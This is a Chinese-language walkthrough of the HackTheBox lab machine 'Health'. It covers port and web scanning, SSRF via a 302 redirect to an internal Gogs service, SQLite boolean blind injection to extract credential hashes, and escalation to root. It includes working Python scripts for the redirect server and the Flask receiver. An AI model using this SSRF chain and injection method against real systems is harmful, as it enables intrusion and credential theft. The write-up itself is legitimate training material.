Health是HackTheBox上中等难度的题,我花了约17个小时来完成,从这里学到了些东西。

扫描

端口扫描

首先使用nmap对靶机地址进行端口扫描:

uzi@lpl ~/D/06_Wordlists> nmap --min-rate 2000 -T4 -p- --max-retries 10 -Pn 10.129.240.87
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-12 13:13 CST
Nmap scan report for 10.129.240.87
Host is up (0.24s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 35.18 seconds

新建Burp工程,使用Burp里浏览器访问靶机,可以看到WEB界面,按功能看是监测网络是否可用的工具。

在页面里注意到使用了health.htb的域名,在/etc/hosts文件中添加条目。

web请求的头部如下,可以看到laravel_session的cookies,判断网站是PHP的laravel框架。

WEB扫描

使用FFUF对web路经和health.htb子域名分别进行扫描。

WEB扫描命令是ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://health.htb/FUZZ"

扫描到.git目录但实际访问提示404;对其余条目检查,也没发现有用信息。

子域名扫描命令是ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://health.htb/" -H "Host: FUZZ.health.htb" -fs 7350-7420,使用-fs 7350-7420过滤,也没发现有用信息。

WEB功能测试

WEB页面上可以输入信息,分别是

  • Payload URL
  • Monitored URL
  • Interval
  • Under what circumstances should the webhook be sent?

我在本地使用nc监听两个端口,分别作为上述两个URL提交。

发现服务器会访问给Monitored URL发送GET / HTTP/1.0请求,然后根据请求结果,发送POST / HTTP/1.1Payload URL,数据为{"webhookUrl":"Payload URL的链接","monitoredUrl":"Monitored URL的链接","health":"down"}

(注:这里我犯了一个错误: 因为nc监听端口并不是正常的WEB,所以这里显示down。如果是正常服务,会返回Monitored URL的内容,那就很容易判断是SSRF了。

漏洞利用尝试

参照HackTricks上关于Laravel的介绍,对WEB界面进行漏洞攻击尝试。

laravel 漏洞:CVE-2021-3129

搜索到laravel的漏洞,尝试进行利用:

没能成功利用,但是工具还是给出了其他信息:

[•] Log path found: "/var/www/html/storage/logs/laravel.log"
[•] Laravel log found: "/var/www/html/storage/logs/laravel.log".
[•] Laravel version found: "8.83.13"

laravel debug 页面

直接在浏览器访问/webhook是会打开调试界面,但没啥除了版本之外,没啥有用信息。

laravel .env 文件

各种途径、方式,均未能访问到.env文件。

laravel Cookies 破解尝试

根据搜索的结果8.83.13版本的laravel没有啥漏洞,我做题的时候想着看能不能爆破Cookies得到些什么信息。

Cookies内容base64解码之后为

{
"iv": "+Qu57+opc+wvgJmTo/0tVQ==",
"value": "ot4BINWE0rWhZxmMAYYKU70j8Ksg/sQszSUy+XVp4SgtQ2zFgcuFSIvwgjcEF6VHMWOn34enKNB4uvaq59eRtrPrac3oB0zDGxZP0eNpe4nvttp0//F6vmLvnGXAYmFo",
"mac": "38a6a65e6f94dda22e2d006af09e01073152b0e75a819a066bbdfdcf3b5fc2f3",
"tag": ""
}

根据HackTricks上的脚本,使用rockyou.txt作为字典进行爆破,没有结果。

SSRF漏洞利用

这时看了HTB官方论坛里的讨论,知道了是用302跳转来实现SSRF。

SSRF利用脚本

实现步骤是:

  1. 本地搭建WEB服务(对应Monitored URL),302跳转到需要访问的地址;
  2. 搭建flask应用(对应Payload URL),用于接收SSRF的结果。

302的脚本是:

#!/usr/bin/env python3

import http.server as SimpleHTTPServer
import socketserver as SocketServer
import logging
import sys

IP = sys.argv[1]
PORT = int(sys.argv[2])

class GetHandler(
SimpleHTTPServer.SimpleHTTPRequestHandler
):

def do_GET(self):
logging.error(self.headers)
self.send_response(301)
location = "http://localhost"

# 从本地文件中读取SSRF的payload
with open("302_location.txt") as fr:
location = fr.read().strip()
self.send_header('Location',location)
logging.error(f"redirect to {location}")
self.end_headers()



while True:
try:
Handler = GetHandler
httpd = SocketServer.TCPServer((IP, PORT), Handler)
httpd.serve_forever()
except KeyboardInterrupt:
httpd.server_close()
exit()

flask应用的脚本是:

from flask import Flask,request
import requests
import logging
import json
import random

app = Flask(__name__)

output_filename = "flask_output.txt"

@app.route("/", methods=["GET", "POST"])
def hello_world():
data = False
if request.method == "POST":
data = json.loads(request.data)
if "body" in data:
pass
data = json.dumps(data,indent=4)
with open(output_filename,"w") as fw:
fw.write(data)

logging.error(f"Method: {request.method}\nHeaders: {request.headers}\n{data}")

return "OK!"

同时我还编写脚本,通过requests包实现自动提交请求,整体效果比较好。

localhost:3000

瞟了眼 meowmeowattack的writeup,意识到是访问localhost的300端口。

3000端口对应的应用是Gogs 0.5.5.1010 Beta。很容易就找到对应的漏洞payload

根据官方论坛的提示,本地搭建了Gogs 0.5.5.1010 Beta环境。
注:Github上的tag编号在项目首页里找比较好,在Release页面找很麻烦、不好搜索。

SQLite 盲注

payload无法直接使用,且注入并不会直接得到输出、起码我自己没把输出弄出来。

我的利用思路是通过Where条件进行筛选、实现布尔盲注。

  • 条件语句正确时输出为{"data":[{"username":"","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
  • 不正确时输出为{"data":[],"ok":true}

在SQLite下进行字符比较时,我使用的是:substr(xxx,1,1)>char(123),没想到其他的可用方式。

user 权限

最终可以注入出用户名、密码、盐,然后使用KrackerGo破解密码明文,SSH登录即可。

root 权限

root比较简单,使用Linpeas和pspy收集信息后,再回头看下前面流程,基本上就知道怎么读取root文件了。